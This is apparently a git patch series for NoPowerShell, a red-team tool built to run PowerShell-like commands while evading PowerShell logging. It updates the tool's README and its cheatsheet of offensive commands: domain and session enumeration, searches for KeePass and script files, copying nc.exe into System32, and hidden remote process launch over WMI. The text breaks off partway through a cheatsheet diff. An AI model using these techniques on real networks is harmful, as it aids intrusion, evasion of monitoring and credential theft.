a/Source/NoPowerShell/HelperClasses/RegistryHelper.cs +++ b/Source/NoPowerShell/HelperClasses/RegistryHelper.cs @@ -1,5 +1,11 @@ using Microsoft.Win32; +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + namespace NoPowerShell.HelperClasses { class RegistryHelper diff --git a/Source/NoPowerShell/NoPowerShell.csproj b/Source/NoPowerShell/NoPowerShell.csproj index b4786f1..57002c5 100644 --- a/Source/NoPowerShell/NoPowerShell.csproj +++ b/Source/NoPowerShell/NoPowerShell.csproj @@ -98,6 +98,7 @@ + @@ -141,6 +142,7 @@ + From f686dcf26805cda7549798c099f87e54aec11fca Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Sat, 26 Dec 2020 16:40:54 +0100 Subject: [PATCH 19/23] Updated README and CHEETSHEET with new cmdlets --- CHEATSHEET.md | 63 ++++++++++++++++++++++++++++++++--------------- README.md | 68 ++++++++++++++++++++++++++++++--------------------- 2 files changed, 83 insertions(+), 48 deletions(-) diff --git a/CHEATSHEET.md b/CHEATSHEET.md index d9318d4..8870c82 100644 --- a/CHEATSHEET.md +++ b/CHEATSHEET.md @@ -17,6 +17,7 @@ Cheatsheet of offensive PowerShell commands that are supported by NoPowerShell. | List all properties of the DC01 domain computer | `Get-ADComputer -Identity DC01 -Properties *` | | List all Domain Controllers | `Get-ADComputer -LDAPFilter "(msDFSR-ComputerReferenceBL=*)"` | | List all computers in domain | `Get-ADComputer -Filter *` | +| List domain controllers | `Get-ADComputer -searchBase "OU=Domain Controllers,DC=bitsadmin,DC=local" -Filter *` | | List specific attributes of the DC01 domain computer | `Get-ADComputer DC01 -Properties Name,operatingSystem` | | List all properties of the Administrator domain user | `Get-ADUser -Identity Administrator -Properties *` | | List all Administrative users in domain | `Get-ADUser -LDAPFilter "(admincount=1)"` | @@ -24,6 +25,9 @@ Cheatsheet of offensive PowerShell commands that are supported by NoPowerShell. | List specific attributes of user | `Get-ADUser Administrator -Properties SamAccountName,ObjectSID` | | List all users in a specific OU | `Get-ADUser -SearchBase "CN=Users,DC=MyDomain,DC=local" -Filter *` | | Show the current user | `whoami` | +| Query sessions on local machine | `Get-WinStation` | +| Query sessions on a remote machine | `Get-WinStation -Server DC01.domain.local` | +| Query sessions on a remote machine - Alternative | `qwinsta DC01.domain.local` | | List SMB shares of MyServer | `Get-RemoteSmbShare \\MyServer` | | Extract zip | `Expand-Archive -Path C:\MyArchive.zip -DestinationPath C:\Extracted` | | Extract zip - Alternative | `unzip C:\MyArchive.zip C:\Extracted` | @@ -50,13 +54,23 @@ Cheatsheet of offensive PowerShell commands that are supported by NoPowerShell. | List details of a specific user - Alternative | `Get-LocalUser Administrator` | | List details of a specific user on a remote machine using WMI | `Get-LocalUser -ComputerName MyServer -Username MyUser -Password MyPassword -Name Administrator` | | List details of a specific user on a remote machine using WMI - Alternative | `Get-LocalUser -ComputerName MyServer Administrator` | +| Copy file from one location to another | `Copy-Item C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | +| Copy file from one location to another - Alternative | `copy C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | +| Copy folder | `copy C:\Tmp\MyFolder C:\Tmp\MyFolderBackup` | +| Gracefully stop processes | `Stop-Process -Id 4512,7241` | +| Kill process | `Stop-Process -Force -Id 4512` | +| Kill all cmd.exe processes | `Get-Process cmd \| Stop-Process -Force` | +| List processes | `Get-Process` | +| List processes - Alternative | `ps` | +| List processes on remote host using WMI | `Get-Process -ComputerName dc01.corp.local -Username Administrator -Password P4ssw0rd!` | +| List processes on remote host using WMI - Alternative | `ps -ComputerName dc01.corp.local` | | List drives | `Get-PSDrive` | | List drives - Alternative | `gdr` | +| Launch process | `Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe"` | +| Launch process on remote system | `Invoke-WmiMethod -ComputerName MyServer -Username MyUserName -Password MyPassword -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA=="` | +| Launch process on remote system - Alternative | `iwmi -ComputerName MyServer -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA=="` | | View contents of a file | `Get-Content C:\Windows\WindowsUpdate.log` | | View contents of a file - Alternative | `cat C:\Windows\WindowsUpdate.log` | -| Get all hotfixes on the local computer | `Get-HotFix` | -| Get all hotfixes from a remote computer using WMI | `Get-HotFix -ComputerName MyServer -Username Administrator -Password Pa$$w0rd` | -| Get all hotfixes from a remote computer using WMI - Alternative | `Get-HotFix -ComputerName MyServer` | | Locate KeePass files in the C:\Users\ directory | `Get-ChildItem -Recurse -Force C:\Users\ -Include *.kdbx` | | Locate KeePass files in the C:\Users\ directory - Alternative | `ls -Recurse -Force C:\Users\ -Include *.kdbx` | | List the keys under the SOFTWARE key in the registry | `ls HKLM:\SOFTWARE` | @@ -66,35 +80,39 @@ Cheatsheet of offensive PowerShell commands that are supported by NoPowerShell. | Obtain data of Win32_Process class from a remote system and apply a filter on the output | `Get-WmiObject "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local -Username MyUser -Password MyPassword \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | | Obtain data of Win32_Process class from a remote system and apply a filter on the output - Alternative | `gwmi "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | | View details about a certain service | `Get-WmiObject -Class Win32_Service -Filter "Name = 'WinRM'"` | -| List processes | `Get-Process` | -| List processes - Alternative | `ps` | -| List processes on remote host using WMI | `Get-Process -ComputerName dc01.corp.local -Username Administrator -Password P4ssw0rd!` | -| List processes on remote host using WMI - Alternative | `ps -ComputerName dc01.corp.local` | -| Gracefully stop processes | `Stop-Process -Id 4512,7241` | -| Kill process | `Stop-Process -Force -Id 4512` | -| Kill all cmd.exe processes | `Get-Process cmd \| Stop-Process -Force` | +| Get all hotfixes on the local computer | `Get-HotFix` | +| Get all hotfixes from a remote computer using WMI | `Get-HotFix -ComputerName MyServer -Username Administrator -Password Pa$$w0rd` | +| Get all hotfixes from a remote computer using WMI - Alternative | `Get-HotFix -ComputerName MyServer` | +| Delete a file | `Remove-Item C:\tmp\MyFile.txt` | +| Delete a file - Alternative | `rm C:\tmp\MyFile.txt` | +| Delete a read-only file | `Remove-Item -Force C:\Tmp\MyFile.txt` | +| Recursively delete a folder | `Remove-Item -Recurse C:\Tmp\MyTools\` | +| Put string on clipboard | `Set-Clipboard -Value "You have been PWNED!"` | +| Put string on clipboard - Alternative | `scb "You have been PWNED!"` | +| Clear the clipboard | `Set-Clipboard` | +| Place output of command on clipboard | `Get-Process \| Set-Clipboard` | +| Show current user's PATH variable | `Get-ItemPropertyValue -Path HKCU:\Environment -Name Path` | +| Show current user's PATH variable - Alternative | `gpv HKCU:\Environment Path` | | Show information about the system | `Get-ComputerInfo` | | Show information about the system - Alternative | `systeminfo` | | Show information about the system not listing patches | `systeminfo -Simple` | | Show information about a remote machine using WMI | `Get-ComputerInfo -ComputerName MyServer -Username MyUser -Password MyPassword` | | Show information about a remote machine using WMI - Alternative | `Get-ComputerInfo -ComputerName MyServer` | -| Launch process | `Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe"` | -| Launch process on remote system | `Invoke-WmiMethod -ComputerName MyServer -Username MyUserName -Password MyPassword -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA=="` | -| Launch process on remote system - Alternative | `iwmi -ComputerName MyServer -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA=="` | -| Delete a file | `Remove-Item C:\tmp\MyFile.txt` | -| Delete a file - Alternative | `rm C:\tmp\MyFile.txt` | -| Delete a read-only file | `Remove-Item -Force C:\Tmp\MyFile.txt` | -| Recursively delete a folder | `Remove-Item -Recurse C:\Tmp\MyTools\` | +| Show text contents of clipboard | `Get-Clipboard` | +| Show text contents of clipboard - Alternative | `gcb` | +| List cached DNS entries on the local computer | `Get-DnsClientCache` | +| List cached DNS entries from a remote computer using WMI | `Get-DnsClientCache -ComputerName MyServer -Username Administrator -Password Pa$$w0rd` | +| List cached DNS entries from a remote computer using WMI - Alternative | `Get-DnsClientCache -ComputerName MyServer` | | List autoruns in the registry | `Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run \| ft` | -| Copy file from one location to another | `Copy-Item C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | -| Copy file from one location to another - Alternative | `copy C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | -| Copy folder | `copy C:\Tmp\MyFolder C:\Tmp\MyFolderBackup` | | Send ICMP request to host | `Test-NetConnection 1.1.1.1` | | Send ICMP request to host - Alternative | `tnc 1.1.1.1` | | Send 2 ICMP requests to IP address 1.1.1.1 with half a second of timeout | `Test-NetConnection -Count 2 -Timeout 500 1.1.1.1` | | Perform a traceroute with a timeout of 1 second and a maximum of 20 hops | `Test-NetConnection -TraceRoute -Timeout 1000 -Hops 20 bitsadm.in` | | Perform ping with maximum TTL specified | `ping -TTL 32 1.1.1.1` | | Check for open port | `tnc bitsadm.in -Port 80` | +| Show TCP connections on the local machine | `Get-NetTCPConnection` | +| Show TCP connections on the local machine - Alternative | `netstat` | +| Show TCP connections on a remote machine | `Get-NetTCPConnection -ComputerName MyServer` | | List ARP table entries | `Get-NetNeighbor` | | List ARP table entries - Alternative | `arp` | | Show the IP routing table | `Get-NetRoute` | @@ -111,6 +129,11 @@ Cheatsheet of offensive PowerShell commands that are supported by NoPowerShell. | List SMB shares on the computer | `Get-SmbShare` | | List network shares on the local machine that are exposed to the network | `Get-SmbMapping` | | List network shares on the local machine that are exposed to the network - Alternative | `netuse` | +| Echo string to the console | `Write-Output "Hello World!"` | +| Echo string to the console - Alternative | `echo "Hello World!"` | +| Echo string to the console | `echo "Hello Console!"` | +| Create file hello.txt on the C: drive containing the "Hello World!" ASCII string | `Write-Output "Hello World!" \| Out-File -Encoding ASCII C:\hello.txt` | +| Create file hello.txt on the C: drive containing the "Hello World!" ASCII string - Alternative | `echo "Hello World!" \| Out-File -Encoding ASCII C:\hello.txt` | | Count number of results | `Get-Process \| Measure-Object` | | Count number of results - Alternative | `Get-Process \| measure` | | Count number of lines in file | `gc C:\Windows\WindowsUpdate.log \| measure` | diff --git a/README.md b/README.md index 66f5785..68616e1 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,5 @@ # NoPowerShell -NoPowerShell is a tool implemented in C# which supports executing PowerShell-like commands while remaining invisible to any PowerShell logging mechanisms. This .NET Framework 2 compatible binary can be loaded in Cobalt Strike to execute commands in-memory. No `System.Management.Automation.dll` is used; only native .NET libraries. An alternative usecase for NoPowerShell is to launch it as a DLL via rundll32.exe: `rundll32 NoPowerShell.dll,main`. +NoPowerShell is a tool implemented in C# which supports executing PowerShell-like commands while remaining invisible to any PowerShell logging mechanisms. This .NET Framework 2 compatible binary can be loaded in Cobalt Strike to execute commands in-memory. No `System.Management.Automation.dll` is used; only native .NET libraries. An alternative usecase for NoPowerShell is to launch it as a DLL via rundll32.exe in a restricted environment: `rundll32 NoPowerShell.dll,main`. This project makes it easy for everyone to extend its functionality using only a few lines of C# code. For more info, see [CONTRIBUTING.md](https://github.com/bitsadmin/nopowershell/blob/master/CONTRIBUTING.md). @@ -14,13 +14,13 @@ Latest binaries available from the [Releases](https://github.com/bitsadmin/nopow ![NoPowerShellDll via rundll32](https://raw.githubusercontent.com/bitsadmin/nopowershell/master/Pictures/NoPowerShellDll.png "NoPowerShellDll via rundll32") # Why NoPowerShell -NoPowerShell is developed to be used with the `execute-assembly` command of Cobalt Strike. +NoPowerShell is developed to be used with the `execute-assembly` command of Cobalt Strike or in a restricted environment using `rundll32`. Reasons to use NoPowerShell: - Executes pretty stealthy - Powerful functionality - Provides the cmdlets you are already familiar with in PowerShell, so no need to learn yet another tool -- If you are not yet very familiar with PowerShell, the cmd.exe aliases are available as well (i.e. `ping` instead of `Test-NetConnection`) -- In case via `powerpick` or `powershell` cmdlets are not available, they _are_ available in `nps` (i.e. cmdlets from the ActiveDirectory module) +- If you are not yet very familiar with PowerShell, the cmd.exe aliases are available as well (e.g. `ping` instead of `Test-NetConnection`) +- In case via `powerpick` or `powershell` cmdlets are not available, they _are_ available in `nps` (e.g. cmdlets from the ActiveDirectory module) - Easily extensible with only a few lines of C# # Usage @@ -39,31 +39,32 @@ See [CHEATSHEET.md](https://github.com/bitsadmin/nopowershell/blob/master/CHEATS 4. Double click the shortcut ## Note -When using NoPowerShell from cmd.exe or PowerShell, you need to escape the pipe character (`|`) with respectively a caret (`^`) or a backtick (`` ` ``), i.e.: +When using NoPowerShell from cmd.exe or PowerShell, you need to escape the pipe character (`|`) with respectively a caret (`^`) or a backtick (`` ` ``), e.g.: - cmd.exe: `ls ^| select Name` - PowerShell: ```ls `| select Name``` # Known issues -- Pipeline characters need to surrounded by spaces +- Pipeline characters need to be surrounded by spaces - TLS 1.1+ is not supported by .NET Framework 2, so any site enforcing it will result in a connection error # Improvements - Fix above issues - Improve stability by adding exception handling - Support for parameter groups -- Add support for ArrayArgument parameter -- Add support for .NET code in commandline, i.e.: `[System.Security.Principal.WindowsIdentity]::GetCurrent().Name` +- Add support for .NET code in commandline, e.g.: `[System.Security.Principal.WindowsIdentity]::GetCurrent().Name` # Requested NoPowerShell cmdlets | Cmdlet | Description | | - | - | -| Get-QWinsta | Unofficial command showing equivalent of `qwinsta` / `query session` | | Invoke-Command | Using PSRemoting execute a command on a remote machine (which in that case will of course be logged) | | Get-Service | Include option to also show service paths like in `sc qc` | -| * | Sysinternals utilities like `pipelist` and `sdelete` | | * | More \*-Item\* commands | +| Search-ADAccount | | +| Get-ADPrincipalGroupMembership | | +| Get-ADOrganizationalUnits | | | * | More commands from the `ActiveDirectory` PowerShell module | +| * | Sysinternals utilities like `pipelist` and `sdelete` | # Contributed NoPowerShell cmdlets Authors of additional NoPowerShell cmdlets are added to the table below. Moreover, the table lists commands that are requested by the community to add. Together we can develop a powerful NoPowerShell toolkit! @@ -75,48 +76,56 @@ Authors of additional NoPowerShell cmdlets are added to the table below. Moreove # Included NoPowerShell cmdlets | Cmdlet | Module | Notes | | - | - | - | -| Get-ADObject | ActiveDirectory | | -| Get-ADTrust | ActiveDirectory | | | Get-ADGroup | ActiveDirectory | | | Get-ADGroupMember | ActiveDirectory | | | Get-ADComputer | ActiveDirectory | | +| Get-ADObject | ActiveDirectory | | | Get-ADUser | ActiveDirectory | | -| Get-Whoami | Additional | whoami.exe /ALL is not implemented yet | +| Get-ADTrust | ActiveDirectory | | +| Get-WinStation | Additional | | | Get-RemoteSmbShare | Additional | | | Expand-Archive | Archive | Requires .NET 4.5+ | | Compress-Archive | Archive | Requires .NET 4.5+ | +| Get-Whoami | Additional | whoami.exe /ALL is not implemented yet | | Where-Object | Core | | | Get-Help | Core | | | Get-Command | Core | | | Resolve-DnsName | DnsClient | | -| Get-LocalGroupMember | LocalAccounts | | | Get-LocalGroup | LocalAccounts | | +| Get-LocalGroupMember | LocalAccounts | | | Get-LocalUser | LocalAccounts | | -| Get-PSDrive | Management | | +| Get-ItemProperty | Management | | +| Invoke-WmiMethod | Management | | +| Remove-Item | Management | | +| Copy-Item | Management | | | Get-Content | Management | | -| Get-HotFix | Management | | | Get-ChildItem | Management | | | Get-WmiObject | Management | | | Get-Process | Management | | | Stop-Process | Management | | +| Get-HotFix | Management | | +| Get-PSDrive | Management | | +| Get-ItemPropertyValue | Management | | +| Set-Clipboard | Management | | +| Get-DnsClientCache | Management | | | Get-ComputerInfo | Management | | -| Invoke-WmiMethod | Management | | -| Remove-Item | Management | | -| Get-ItemProperty | Management | | -| Copy-Item | Management | | -| Test-NetConnection | NetTCPIP | | -| Get-NetNeighbor | NetTCPIP | No support for IPv6 yet | +| Get-Clipboard | Management | | | Get-NetRoute | NetTCPIP | | | Get-NetIPAddress | NetTCPIP | | +| Get-NetNeighbor | NetTCPIP | No support for IPv6 yet | +| Test-NetConnection | NetTCPIP | | +| Get-GetNetTCPConnection | NetTCPIP | | | Get-SmbShare | SmbShare | | | Get-SmbMapping | SmbShare | | -| Measure-Object | Utility | | -| Invoke-WebRequest | Utility | | -| Select-Object | Utility | | -| Sort-Object | Utility | | | Format-Table | Utility | | -| Format-List | Utility | | +| Sort-Object | Utility | | | Export-Csv | Utility | | +| Format-List | Utility | | +| Select-Object | Utility | | +| Out-File | Utility | | +| Write-Output | Utility | | +| Invoke-WebRequest | Utility | | +| Measure-Object | Utility | | # Acknowledgements Various NoPowerShell cmdlets and NoPowerShell DLL include code created by other developers. @@ -127,6 +136,9 @@ Various NoPowerShell cmdlets and NoPowerShell DLL include code created by other | Michael Conrad | https://github.com/MichaCo/ | Parts of the Resolve-Dns cmdlet are based on the code of the DnsClient.Net project | | Rex Logan | https://stackoverflow.com/a/1148861 | Most code of the Get-NetNeighbor cmdlet originates from his StackOverflow post | | PowerShell developers | https://github.com/PowerShell/ | Code of NoPowerShell DLL is largely based on the code handling the console input of PowerShell | - +| Benjamin Delpy | https://github.com/gentilkiwi/ | Code of Get-WinStation is inspired by the code of Mimikatz' ts::sessions command | +| Dan Ports | https://github.com/danports/ | Marshalling code of Get-Winstation is partially copied from the Cassia project | +| Mazdak | https://www.codeproject.com/Articles/2937/Getting-local-groups-and-member-names-in-C | Native function calls for the Get-LocalGroupMember cmdlet | +| Rex Logan | https://stackoverflow.com/a/1148861 | Code of Get-NetNeighbor cmdlet | **Authored by Arris Huijgen ([@bitsadmin](https://twitter.com/bitsadmin/) - https://github.com/bitsadmin/)** From 0566fdb75bd63d4ba87b075ef24222512a1d4746 Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Sat, 26 Dec 2020 16:48:32 +0100 Subject: [PATCH 20/23] Minor improvements to README --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 68616e1..6bc067a 100644 --- a/README.md +++ b/README.md @@ -84,9 +84,9 @@ Authors of additional NoPowerShell cmdlets are added to the table below. Moreove | Get-ADTrust | ActiveDirectory | | | Get-WinStation | Additional | | | Get-RemoteSmbShare | Additional | | +| Get-Whoami | Additional | whoami.exe /ALL is not implemented yet | | Expand-Archive | Archive | Requires .NET 4.5+ | | Compress-Archive | Archive | Requires .NET 4.5+ | -| Get-Whoami | Additional | whoami.exe /ALL is not implemented yet | | Where-Object | Core | | | Get-Help | Core | | | Get-Command | Core | | @@ -126,6 +126,7 @@ Authors of additional NoPowerShell cmdlets are added to the table below. Moreove | Write-Output | Utility | | | Invoke-WebRequest | Utility | | | Measure-Object | Utility | | +Also make sure to check out the [Cheatsheet](https://github.com/bitsadmin/nopowershell/blob/master/CHEATSHEET.md) for examples on how to use these cmdlets. # Acknowledgements Various NoPowerShell cmdlets and NoPowerShell DLL include code created by other developers. From cfeeb6aee3c450baaad4affec73d33e797ac3c6c Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Fri, 27 Oct 2023 13:46:17 +0200 Subject: [PATCH 21/23] Minor fixes - Removed DllExport because it crashes the solution, might add it again later - Write errors to stdout instead of stderr - Normalize line endings to CRLF - Set default .NET version to 4.5 --- CHEATSHEET.md | 304 +-- CONTRIBUTING.md | 78 +- Source/DllExport.bat | 469 ---- Source/NoPowerShell.sln | 4 +- Source/NoPowerShell/App.config | 2 +- .../ActiveDirectory/GetADObjectCommand.cs | 184 +- .../ActiveDirectory/GetADTrustCommand.cs | 436 ++-- .../Additional/GetRemoteSmbShareCommand.cs | 330 +-- .../Additional/GetWinStationCommand.cs | 566 ++--- .../Archive/CompressArchiveCommand.cs | 258 +-- .../Commands/Archive/ExpandArchiveCommand.cs | 200 +- .../DnsClient/GetDnsClientCacheCommand.cs | 210 +- .../Management/GetClipboardCommand.cs | 152 +- .../Management/GetItemPropertyValueCommand.cs | 286 +-- .../Commands/Management/GetPSDriveCommand.cs | 224 +- .../Management/SetClipboardCommand.cs | 234 +- .../NetTCPIP/GetNetNeighborCommand.cs | 376 ++-- .../NetTCPIP/GetNetTCPConnectionCommand.cs | 156 +- .../Commands/SmbShare/GetSmbShareCommand.cs | 122 +- .../Commands/Utility/ExportCsvCommand.cs | 208 +- .../Commands/Utility/OutFileCommand.cs | 178 +- .../Commands/Utility/SortObjectCommand.cs | 280 +-- .../Commands/Utility/WriteOutputCommand.cs | 150 +- .../NoPowerShell/HelperClasses/DNSHelper.cs | 1934 ++++++++--------- .../NoPowerShell/HelperClasses/Exceptions.cs | 120 +- .../HelperClasses/PipelineHelper.cs | 64 +- .../HelperClasses/RegistryHelper.cs | 108 +- Source/NoPowerShell/NoPowerShell.csproj | 332 ++- Source/NoPowerShell/Program.cs | 4 +- Source/NoPowerShell/ProgramDll.cs | 842 +++---- 30 files changed, 4165 insertions(+), 4646 deletions(-) delete mode 100644 Source/DllExport.bat diff --git a/CHEATSHEET.md b/CHEATSHEET.md index 8870c82..e9292e7 100644 --- a/CHEATSHEET.md +++ b/CHEATSHEET.md @@ -1,152 +1,152 @@ -# Cheatsheet -Cheatsheet of offensive PowerShell commands that are supported by NoPowerShell. - -| Action | Command | -| - | - | -| Get the sites from the configuration naming context | `Get-ADObject -LDAPFilter "(objectClass=site)" -SearchBase "CN=Configuration,DC=MyDomain,DC=local" -Properties whenCreated,cn` | -| Get specific object | `Get-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=MyDomain,DC=local" -Properties *` | -| List all global groups | `Get-ADObject -LDAPFilter "(GroupType:1.2.840.113556.1.4.803:=2)" -SearchBase "DC=MyDomain,DC=local"` | -| List trusts | `Get-ADTrust` | -| List trusts recursively till depth 3 | `Get-ADTrust -Depth 3` | -| List all details of a certain trust | `Get-ADTrust -LDAPFilter "(Name=mydomain.com)"` | -| List specific details of a certain trust | `Get-ADTrust -LDAPFilter "(Name=mydomain.com)" -Properties Name,trustDirection,securityIdentifier` | -| List all user groups in domain | `Get-ADGroup -Filter *` | -| List all administrative groups in domain | `Get-ADGroup -LDAPFilter "(admincount=1)" \| select Name` | -| List all members of the "Domain Admins" group | `Get-ADGroupMember -Identity "Domain Admins"` | -| List all members of the "Domain Admins" group - Alternative | `Get-ADGroupMember "Domain Admins"` | -| List all properties of the DC01 domain computer | `Get-ADComputer -Identity DC01 -Properties *` | -| List all Domain Controllers | `Get-ADComputer -LDAPFilter "(msDFSR-ComputerReferenceBL=*)"` | -| List all computers in domain | `Get-ADComputer -Filter *` | -| List domain controllers | `Get-ADComputer -searchBase "OU=Domain Controllers,DC=bitsadmin,DC=local" -Filter *` | -| List specific attributes of the DC01 domain computer | `Get-ADComputer DC01 -Properties Name,operatingSystem` | -| List all properties of the Administrator domain user | `Get-ADUser -Identity Administrator -Properties *` | -| List all Administrative users in domain | `Get-ADUser -LDAPFilter "(admincount=1)"` | -| List all users in domain | `Get-ADUser -Filter *` | -| List specific attributes of user | `Get-ADUser Administrator -Properties SamAccountName,ObjectSID` | -| List all users in a specific OU | `Get-ADUser -SearchBase "CN=Users,DC=MyDomain,DC=local" -Filter *` | -| Show the current user | `whoami` | -| Query sessions on local machine | `Get-WinStation` | -| Query sessions on a remote machine | `Get-WinStation -Server DC01.domain.local` | -| Query sessions on a remote machine - Alternative | `qwinsta DC01.domain.local` | -| List SMB shares of MyServer | `Get-RemoteSmbShare \\MyServer` | -| Extract zip | `Expand-Archive -Path C:\MyArchive.zip -DestinationPath C:\Extracted` | -| Extract zip - Alternative | `unzip C:\MyArchive.zip C:\Extracted` | -| Extract zip into current directory | `unzip C:\MyArchive.zip` | -| Compress folder to zip | `Compress-Archive -Path C:\MyFolder -DestinationPath C:\MyFolder.zip` | -| Compress folder to zip - Alternative | `zip C:\MyFolder C:\MyFolder.zip` | -| List all processes containing PowerShell in the process name | `Get-Process \| ? Name -Like *PowerShell*` | -| List all active local users | `Get-LocalUser \| ? Disabled -EQ False` | -| Get help for a command | `Get-Help -Name Get-Process` | -| Get help for a command - Alternative | `man ps` | -| List all commands supported by NoPowerShell | `Get-Command` | -| List commands of a certain module | `Get-Command -Module ActiveDirectory` | -| Resolve domain name | `Resolve-DnsName microsoft.com` | -| Resolve domain name - Alternative | `host linux.org` | -| Lookup specific record | `Resolve-DnsName -Type MX pm.me` | -| Reverse DNS lookup | `Resolve-DnsName 1.1.1.1` | -| List all active members of the Administrators group | `Get-LocalGroupMember -Group Administrators \| ? Disabled -eq False` | -| List all local groups | `Get-LocalGroup` | -| List details of a specific group | `Get-LocalGroup Administrators` | -| List members of Administrators group on a remote computer using WMI | `Get-LocalGroup -ComputerName Myserver -Username MyUser -Password MyPassword -Name Administrators` | -| List members of Administrators group on a remote computer using WMI - Alternative | `Get-LocalGroup -ComputerName Myserver -Name Administrators` | -| List all local users | `Get-LocalUser` | -| List details of a specific user | `Get-LocalUser -Name Administrator` | -| List details of a specific user - Alternative | `Get-LocalUser Administrator` | -| List details of a specific user on a remote machine using WMI | `Get-LocalUser -ComputerName MyServer -Username MyUser -Password MyPassword -Name Administrator` | -| List details of a specific user on a remote machine using WMI - Alternative | `Get-LocalUser -ComputerName MyServer Administrator` | -| Copy file from one location to another | `Copy-Item C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | -| Copy file from one location to another - Alternative | `copy C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | -| Copy folder | `copy C:\Tmp\MyFolder C:\Tmp\MyFolderBackup` | -| Gracefully stop processes | `Stop-Process -Id 4512,7241` | -| Kill process | `Stop-Process -Force -Id 4512` | -| Kill all cmd.exe processes | `Get-Process cmd \| Stop-Process -Force` | -| List processes | `Get-Process` | -| List processes - Alternative | `ps` | -| List processes on remote host using WMI | `Get-Process -ComputerName dc01.corp.local -Username Administrator -Password P4ssw0rd!` | -| List processes on remote host using WMI - Alternative | `ps -ComputerName dc01.corp.local` | -| List drives | `Get-PSDrive` | -| List drives - Alternative | `gdr` | -| Launch process | `Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe"` | -| Launch process on remote system | `Invoke-WmiMethod -ComputerName MyServer -Username MyUserName -Password MyPassword -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA=="` | -| Launch process on remote system - Alternative | `iwmi -ComputerName MyServer -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA=="` | -| View contents of a file | `Get-Content C:\Windows\WindowsUpdate.log` | -| View contents of a file - Alternative | `cat C:\Windows\WindowsUpdate.log` | -| Locate KeePass files in the C:\Users\ directory | `Get-ChildItem -Recurse -Force C:\Users\ -Include *.kdbx` | -| Locate KeePass files in the C:\Users\ directory - Alternative | `ls -Recurse -Force C:\Users\ -Include *.kdbx` | -| List the keys under the SOFTWARE key in the registry | `ls HKLM:\SOFTWARE` | -| Search for files which can contain sensitive data on the C-drive | `ls -Recurse -Force C:\ -Include *.cmd,*.bat,*.ps1,*.psm1,*.psd1` | -| List local shares | `Get-WmiObject -Namespace ROOT\CIMV2 -Query "Select * From Win32_Share Where Name LIKE '%$'"` | -| List local shares - Alternative | `gwmi -Class Win32_Share -Filter "Name LIKE '%$'"` | -| Obtain data of Win32_Process class from a remote system and apply a filter on the output | `Get-WmiObject "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local -Username MyUser -Password MyPassword \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | -| Obtain data of Win32_Process class from a remote system and apply a filter on the output - Alternative | `gwmi "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | -| View details about a certain service | `Get-WmiObject -Class Win32_Service -Filter "Name = 'WinRM'"` | -| Get all hotfixes on the local computer | `Get-HotFix` | -| Get all hotfixes from a remote computer using WMI | `Get-HotFix -ComputerName MyServer -Username Administrator -Password Pa$$w0rd` | -| Get all hotfixes from a remote computer using WMI - Alternative | `Get-HotFix -ComputerName MyServer` | -| Delete a file | `Remove-Item C:\tmp\MyFile.txt` | -| Delete a file - Alternative | `rm C:\tmp\MyFile.txt` | -| Delete a read-only file | `Remove-Item -Force C:\Tmp\MyFile.txt` | -| Recursively delete a folder | `Remove-Item -Recurse C:\Tmp\MyTools\` | -| Put string on clipboard | `Set-Clipboard -Value "You have been PWNED!"` | -| Put string on clipboard - Alternative | `scb "You have been PWNED!"` | -| Clear the clipboard | `Set-Clipboard` | -| Place output of command on clipboard | `Get-Process \| Set-Clipboard` | -| Show current user's PATH variable | `Get-ItemPropertyValue -Path HKCU:\Environment -Name Path` | -| Show current user's PATH variable - Alternative | `gpv HKCU:\Environment Path` | -| Show information about the system | `Get-ComputerInfo` | -| Show information about the system - Alternative | `systeminfo` | -| Show information about the system not listing patches | `systeminfo -Simple` | -| Show information about a remote machine using WMI | `Get-ComputerInfo -ComputerName MyServer -Username MyUser -Password MyPassword` | -| Show information about a remote machine using WMI - Alternative | `Get-ComputerInfo -ComputerName MyServer` | -| Show text contents of clipboard | `Get-Clipboard` | -| Show text contents of clipboard - Alternative | `gcb` | -| List cached DNS entries on the local computer | `Get-DnsClientCache` | -| List cached DNS entries from a remote computer using WMI | 